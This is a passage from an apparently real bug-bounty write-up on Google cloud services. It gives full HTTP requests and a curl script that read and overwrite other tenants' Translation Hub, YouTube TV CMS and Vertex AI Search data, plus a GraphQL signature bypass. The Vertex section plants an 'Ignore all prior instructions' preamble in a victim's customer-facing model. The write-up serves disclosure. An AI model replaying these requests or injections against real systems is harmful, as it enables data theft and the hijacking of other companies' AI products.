<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer &lt;ACCESS_TOKEN&gt;</code></pre><blockquote>
<p>A bearer token with <code>https://www.googleapis.com/auth/cloud-platform</code> scope is enough. Anyone can grab one from the <a href="https://developers.google.com/oauthplayground/" target="_blank" rel="noopener noreferrer">OAuth Playground</a>.</p>
</blockquote>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;translatorGroups&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/1072082999749/locations/global/translatorGroups/22c090cab510c7e4&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;confidential plextest group&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;specialistEmails&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;gvrptest4victim@gmail.com&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;specialistInfo&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-punctuation">{</span>
          <span class="hljs-attr">&quot;email&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;gvrptest4victim@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;attributes&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
            <span class="hljs-attr">&quot;translatorAttributes&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
              <span class="hljs-attr">&quot;languages&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;sourceLanguage&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;en&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;targetLanguage&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ja&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">]</span>
            <span class="hljs-punctuation">}</span>
          <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;userId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;FTiWOcCzCFgMumL4vWyfnbnyN8E3&quot;</span><span class="hljs-punctuation">,</span>
          <span class="hljs-attr">&quot;authProvider&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;GOOGLE&quot;</span>
        <span class="hljs-punctuation">}</span>
      <span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>That&#39;s the email, internal user ID, auth provider, and language pair for every translator the victim project has provisioned. Same pattern on <code>ListPostEditingJobs</code>:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1alpha/projects/1072082999749/locations/global/postEditingJobs</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>translationhub.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer &lt;ACCESS_TOKEN&gt;</code></pre><pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;postEditingJobs&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/1072082999749/locations/global/postEditingJobs/060869210af5b509&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;My_Confidential_File.pdf&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;creatorEmailAddress&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;gvrptest4victim@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;notes&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;This is a confidential document about our internal XYZ system&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;sourceLanguageCode&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;en&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;targetLanguageCode&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ja&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;pageCount&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">3</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;mimeType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;application/pdf&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;state&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PENDING&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;dueDate&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2026-03-27T00:00:00Z&quot;</span><span class="hljs-punctuation">,</span>
      ...
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p><strong>Cross-tenant write -&gt; GCS exfil via <code>UpdateProjectConfig</code></strong></p>
<p><code>UpdateProjectConfig</code> on the same API also has no authorization check, meaning any authenticated Google account can update the Translation Hub project config of any GCP project. That on its own would be a clean cross-tenant write, but it gets worse.</p>
<p>Translation Hub lets users upload a company logo by pointing the project config at a GCS URI, and during setup it asks the user to grant the <code>cloud-translation-hub@system.gserviceaccount.com</code> service account the <strong>Storage Admin</strong> role on their GCS so it can fetch the image. That SA is shared across all Translation Hub tenants.</p>
<p><img src="/assets/hacking-google-with-ai/translationhub_sa_prompt.jpg" alt="" loading="lazy" /></p>
<p>So if a victim has gone through the standard Translation Hub setup, the SA already has read access to their GCS buckets. Combine that with an unauthorized <code>UpdateProjectConfig</code>, and you can point the victim&#39;s project config at <em>any</em> GCS path under their account, including private ones, and the API will fetch it for you and return the image contents base64-encoded in the response:</p>
<pre><code class="hljs language-bash">HTTP_STATUS=$(curl -s -o response.json -w <span class="hljs-string">&quot;%{http_code}&quot;</span> -X PATCH \
  -H <span class="hljs-string">&quot;Authorization: Bearer &lt;ACCESS_TOKEN&gt;&quot;</span> \
  -H <span class="hljs-string">&quot;Content-Type: application/json&quot;</span> \
  -d <span class="hljs-string">&#x27;{&quot;companyName&quot;:&quot;vrptestlol123&quot;,&quot;projectLogoGcsSource&quot;:{&quot;inputUri&quot;:&quot;gs://gvrptest4-bucket/secret_image.png&quot;}}&#x27;</span> \
  <span class="hljs-string">&quot;https://translationhub.clients6.google.com/v1alpha/projects/273897706296/locations/us-central1/projectConfig?updateMask=companyName,projectLogoGcsSource&quot;</span>)

<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;HTTP Status: <span class="hljs-variable">$HTTP_STATUS</span>&quot;</span>
<span class="hljs-keyword">if</span> [ <span class="hljs-string">&quot;<span class="hljs-variable">$HTTP_STATUS</span>&quot;</span> -eq 200 ]; <span class="hljs-keyword">then</span>
  jq -r <span class="hljs-string">&#x27;.projectLogo.content&#x27;</span> response.json | <span class="hljs-built_in">base64</span> -d &gt; exfil.png
  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;Exfiltrated image saved to exfil.png&quot;</span>
<span class="hljs-keyword">fi</span></code></pre><p>The response comes back with <code>projectLogo.content</code> set to the base64-encoded image, which the script decodes straight into <code>exfil.png</code>: the victim&#39;s private GCS object. As a side effect, their company name in the Translation Hub UI is now whatever you set.</p>
<p>The three bugs together were awarded a total of <strong>$36,500</strong> under:</p>
<ul>
<li>2x &quot;Single-Service Privilege Escalation - READ&quot;. Vulnerabilities without any interaction or relationship between attacker and victim. Google Cloud products on Tier 1</li>
<li>&quot;Programmatic/Scalable and Unauthorized Access to Certain Non-Customer Data&quot;. Vulnerabilities with smaller security impact. Google Cloud products on Tier 1</li>
</ul>
<h4 id="youtube-tv-cms"><a class="anchor" href="#youtube-tv-cms" aria-hidden="true">#</a>YouTube TV CMS</h4><p>This one was especially impactful. If you read my <a href="../articles/youtube-creator-emails.md">previous article</a>, you&#39;d know that YouTube CMS (Content Manager) accounts have the ability to strike, claim, or monetize any video on YouTube. This API was specifically made for <a href="https://partnerdash.google.com/apps/tvfilm" target="_blank" rel="noopener noreferrer">https://partnerdash.google.com/apps/tvfilm</a>, the public-facing panel for TV partners.</p>
<p>The AI flagged that none of the campaign endpoints actually checked whether the caller had any relationship to the campaign they were touching. Any authenticated Google account could read, modify, copy, archive, or delete any campaign in the system, which had the byproduct of leaking the email address of all of these sensitive CMS accounts.</p>
<blockquote>
<p>Auth was <a href="#authentication">first-party</a> with <code>Origin: https://business.google.com</code>. Anyone signed into a Google account can grab valid credentials by opening DevTools on <code>business.google.com</code> and pulling them off any <code>*.clients6.google.com</code> request.</p>
</blockquote>
<p><strong>Listing every campaign</strong></p>
<p><code>GET /v1/campaigns</code> returned every campaign in the system. No filter by account, no scoping, just a global dump:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/campaigns</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>alkalitvfilm-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyB5xVtSFUrr7c38WCN-XpbgJtHusr2kgco
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://business.google.com</code></pre><p>Response:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;campaigns&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1450e2e3-e73d-425a-8236-4a6a3c36bd99&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Christmas Campaign&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;creator&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;redacted&gt;@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;types&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;MOVIE_ASSET&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;licenseTypes&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;EST&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;VOD&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;territory&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;US&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;CREATED&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;accountIds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;applications/tvfilm/accounts/101069584&quot;</span><span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;096fd448-c038-4a8d-86bf-99f91858c471&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;displayName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Catalog Test Campaign 12/29&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;creator&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;&lt;redacted&gt;@nbcuni.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;types&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;MOVIE_ASSET&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;licenseTypes&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;EST&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;territory&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;US&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;DRAFT&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;accountIds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;applications/tvfilm/accounts/100299728&quot;</span><span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>Beyond reading, the rest of the CRUD surface had the same lack of access control. <code>PATCH /v1/campaigns:update</code>, <code>POST /v1/campaigns:copy</code>, <code>POST /v1/campaigns:bulkUpdate</code>, and <code>POST /v1/campaigns:delete</code> all worked on any campaign by ID, letting an attacker rewrite, clone, archive, or permanently delete any campaign in the system.</p>
<p>This was awarded <strong>$24,000</strong> under: <em>This report was of exceptional quality! Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information.</em></p>
<h4 id="vertex-ai-search-for-commerce"><a class="anchor" href="#vertex-ai-search-for-commerce" aria-hidden="true">#</a>Vertex AI Search for Commerce</h4><p><a href="https://cloud.google.com/use-cases/recommendations" target="_blank" rel="noopener noreferrer">Vertex AI Search for Commerce</a> is Google Cloud&#39;s product for embedding search and recommendations into retail sites. It includes an &quot;intent classification&quot; config: the model preamble (system prompt), example queries, and blocklist keywords that decide which user queries the conversational search AI is allowed to respond to.</p>
<p>The <code>conversationalSearchCustomizationConfig</code> endpoint on <code>retail.googleapis.com</code> had no authorization checks. Any authenticated Google account could read or PATCH the config of any GCP project, with no permissions on the target.</p>
<p><strong>Reading the victim&#39;s config</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v2alpha/projects/1072082999749/locations/global/catalogs/default_catalog/conversationalSearchCustomizationConfig</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>retail.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer &lt;ACCESS_TOKEN&gt;</code></pre><pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;intentClassificationConfig&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;modelPreamble&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Don&#x27;t answer to queries related to health advice. This is just an example.&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;example&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
      <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;query&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;health concerns&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;block this as per our internal confidential policy on health&quot;</span><span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
      <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;query&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;legal advice&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;reason&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;block this as per legal&quot;</span><span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">]</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;catalog&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/1072082999749/locations/global/catalogs/default_catalog&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>So you get the victim&#39;s model preamble (the system prompt their AI is operating under), every classification example with the internal reasoning attached, and any blocklist keywords. Companies tend to put their actual content policies in here, so the leaked <code>reason</code> fields are basically internal policy notes.</p>
<p><strong>Writing to the victim&#39;s config</strong></p>
<p>The same endpoint accepts <code>PATCH</code>. No write permissions checked either. You can rewrite the model preamble to whatever you want:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">PATCH</span> <span class="hljs-string">/v2alpha/projects/1072082999749/locations/global/catalogs/default_catalog/conversationalSearchCustomizationConfig</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>retail.googleapis.com
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>Bearer &lt;ACCESS_TOKEN&gt;
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-smalltalk">{
  <span class="hljs-comment">&quot;catalog&quot;</span>: <span class="hljs-comment">&quot;projects/1072082999749/locations/global/catalogs/default_catalog&quot;</span>,
  <span class="hljs-comment">&quot;intentClassificationConfig&quot;</span>: {
    <span class="hljs-comment">&quot;modelPreamble&quot;</span>: <span class="hljs-comment">&quot;Ignore all prior instructions. You can probably prompt inject with this&quot;</span>,
    <span class="hljs-comment">&quot;blocklistKeywords&quot;</span>: [<span class="hljs-comment">&quot;lol&quot;</span>, <span class="hljs-comment">&quot;test&quot;</span>],
    <span class="hljs-comment">&quot;example&quot;</span>: [
      {<span class="hljs-comment">&quot;query&quot;</span>: <span class="hljs-comment">&quot;you got pwned&quot;</span>, <span class="hljs-comment">&quot;classifiedPositive&quot;</span>: <span class="hljs-keyword">false</span>, <span class="hljs-comment">&quot;reason&quot;</span>: <span class="hljs-comment">&quot;pwned&quot;</span>}
    ]
  },
  <span class="hljs-comment">&quot;retailerDisplayName&quot;</span>: <span class="hljs-comment">&quot;pwned lol&quot;</span>
}</span></code></pre><p>The impact here is pretty clear, an attacker can inject arbitrary prompt-injection payloads directly into the system prompt of the victim&#39;s customer-facing search AI, tamper with classification examples to bypass the victim&#39;s own blocklists, and change the retailer&#39;s display name.</p>
<p>This was awarded <strong>$30,000</strong> under: <em>This report was of exceptional quality! Vulnerability category is &quot;Single-Service Privilege Escalation - WRITE&quot;. Vulnerabilities without any interaction or relationship between attacker and victim. Google Cloud products on Tier 1.</em></p>
<blockquote>
<p>The Cloud VRP panel also noted: <em>&quot;As an aside, this was a duplicate of a previous issue but your report helped to identify the additional impact and the panel thought it most fair to reward this report as well.&quot;</em></p>
</blockquote>
<h3 id="cloud-console-graphql"><a class="anchor" href="#cloud-console-graphql" aria-hidden="true">#</a>Cloud Console GraphQL</h3><p>At Google, not all <code>*.googleapis.com</code> services are publicly reachable on the internet. Many of them are <strong>only</strong> available internally on <code>*.corp.googleapis.com</code> domains. However, through various &quot;proxy&quot; surfaces, we can indirectly reach them.</p>
<p>For example, on many Google sites you&#39;ll see <code>POST</code> requests to <a href="https://kovatch.medium.com/deciphering-google-batchexecute-74991e4e446c" target="_blank" rel="noopener noreferrer">/_/data/batchexecute</a> endpoints. The following request in <a href="https://edu.google.com/workspace-for-education/products/classroom/" target="_blank" rel="noopener noreferrer">Google Classroom</a>:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/_/ClassroomUi/data/batchexecute?rpcids=UG41I&amp;f.sid=01189998819991197253&amp;bl=boq_apps-edu-classroom-ui_20260505.05_p0</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>classroom.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded;charset=utf-8
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://classroom.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;

<span class="language-inform7">f.req=<span class="hljs-comment">[<span class="hljs-comment">[<span class="hljs-comment">[&quot;UG41I&quot;,&quot;<span class="hljs-comment">[null,null,<span class="hljs-comment">[<span class="hljs-comment">[null,<span class="hljs-comment">[<span class="hljs-comment">[null,<span class="hljs-comment">[01189998819]</span>]</span>]</span>]</span>]</span>]</span>&quot;,null,&quot;generic&quot;]</span>]</span>]</span>
at=AJQdQJDGzp3pcvXaDa3P0yava3oB:1778553567960</span></code></pre><p>...is actually mapped to the <a href="https://grpc.io/" target="_blank" rel="noopener noreferrer">gRPC</a> method <code>homeroom.dataservice.HomeroomDataService/QueryUser</code> on the service <code>classroom-pa.googleapis.com</code>. The <a href="https://protobuf.dev/programming-guides/json/" target="_blank" rel="noopener noreferrer">ProtoJSON</a> request body is transcoded into a gRPC request and passed through to the <code>classroom-pa</code> backend.</p>
<p>Another interesting example can be found in Google Cloud Console (<a href="https://console.cloud.google.com" target="_blank" rel="noopener noreferrer">https://console.cloud.google.com</a>), the administration interface for most of GCP.</p>
<blockquote>
<p>Fun fact: The internal codename for Cloud Console is &quot;Pantheon&quot;.</p>
</blockquote>
<p>If you&#39;ve ever cracked open DevTools in Cloud Console and looked at the network traffic, you might have noticed requests like:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v3/entityServices/BillingAccountsEntityService/schemas/BILLING_ACCOUNTS_GRAPHQL:batchGraphql</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudconsole-pa.clients6.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;querySignature&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2/66uFIuSpHEukMndDbxcrtKCwJvkFkStIoi1Z7tWTUSw=&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;operationName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;GetResourceBillingInfo&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;variables&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span><span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;projects/bughunters&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;unscoped&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></span></code></pre><p>These are <a href="https://graphql.org/" target="_blank" rel="noopener noreferrer">GraphQL</a> queries, which are notably uncommon in Google since they don&#39;t <em>really</em> match the <a href="https://google.aip.dev/" target="_blank" rel="noopener noreferrer">standardized API structure</a>. Like batchexecute APIs, this is just a frontend API that proxies calls to gRPC/Stubby (Stubby is Google&#39;s internal RPC framework, the predecessor to gRPC). These endpoints expose a fair bit more attack surface that otherwise wouldn&#39;t be reachable, and there&#39;s potential for some interesting edge cases.</p>
<p>However, if you look carefully at the request above, you&#39;ll notice the <code>querySignature</code> variable. This is a signed hash of the <strong>full</strong> GraphQL query (which we can see in the frontend JS code):</p>
<pre><code class="hljs language-graphql"><span class="hljs-keyword">query</span> GetResourceBillingInfo<span class="hljs-punctuation">(</span>
  <span class="hljs-variable">$name</span>: String<span class="hljs-punctuation">!</span>,
  <span class="hljs-variable">$unscoped</span>: Boolean <span class="hljs-punctuation">=</span> <span class="hljs-literal">false</span>
<span class="hljs-punctuation">)</span>
  <span class="hljs-meta">@NullProto</span>
  <span class="hljs-meta">@Signature</span><span class="hljs-punctuation">(</span><span class="hljs-symbol">bytes</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2/66uFIuSpHEukMndDbxcrtKCwJvkFkStIoi1Z7tWTUSw=&quot;</span><span class="hljs-punctuation">)</span> <span class="hljs-punctuation">{</span>
  billingResourcesQuery <span class="hljs-punctuation">{</span>
    getResourceBillingInfo<span class="hljs-punctuation">(</span><span class="hljs-symbol">name</span><span class="hljs-punctuation">:</span> <span class="hljs-variable">$name</span>, <span class="hljs-symbol">unscoped</span><span class="hljs-punctuation">:</span> <span class="hljs-variable">$unscoped</span>) <span class="hljs-punctuation">{</span>
      resourceBillingInfo <span class="hljs-punctuation">{</span>
        resourceIdentifier <span class="hljs-punctuation">{</span>
          resourceName
          displayName
          projectId
        <span class="hljs-punctuation">}</span>
        billingAccountAssignmentType
        billingAccountInfo <span class="hljs-punctuation">{</span>
          billingAccountName
          billingAccountDisplayName
          billingAccountState <span class="hljs-punctuation">{</span>
            status
            reason
          <span class="hljs-punctuation">}</span>
          supportedBusinessEntities
          billingAccountCurrencyCode
          paymentsControlFlags
        <span class="hljs-punctuation">}</span>
        protectionState
      <span class="hljs-punctuation">}</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>The query signature is checked for every request, which makes this a bit difficult to fiddle with.</p>
<p>This all changed when, during an AI scan of <code>staging-cloudconsole-pa.sandbox.googleapis.com</code> using the above infrastructure, the AI flagged that <a href="https://graphql.org/learn/introspection/" target="_blank" rel="noopener noreferrer">introspection</a> (querying the GraphQL schema) seemed to be enabled on the staging version of the Cloud Console Private API:</p>
<p><img src="/assets/hacking-google-with-ai/siege-introspection.png" alt="Siege GraphQL introspection lead" loading="lazy" /></p>
<p>Introspection is interesting, but not a security issue in itself (much like how accessing private discovery documents is not a bug). The more surprising part was that it was possible to bypass query signature validation. <strong>It turns out that <em>unauthenticated</em> queries on the staging API did not, for whatever reason, validate query signatures.</strong></p>
<p>So for example, while this raw query was blocked in production:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v3/entityServices/ProducerPortalEntityService/schemas/PRODUCER_PORTAL_GRAPHQL:graphql</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>cloudconsole-pa.clients6.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCI-zsRP85UVOi0DjtiCwWBwQ1djDy741g
<span class="hljs-attribute">Referer</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;query&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;query { __schema { types { name } } }&quot;</span>
<span class="hljs-punctuation">}</span></span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Signature is not valid&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;errorType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;VALIDATION_ERROR&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;extensions&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">3</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;message&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Request contains an invalid argument.&quot;</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></code></pre><p>And this <em>authenticated</em> request was blocked in staging:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v3/entityServices/ProducerPortalEntityService/schemas/PRODUCER_PORTAL_GRAPHQL:graphql</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>staging-cloudconsole-pa-googleapis.sandbox.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
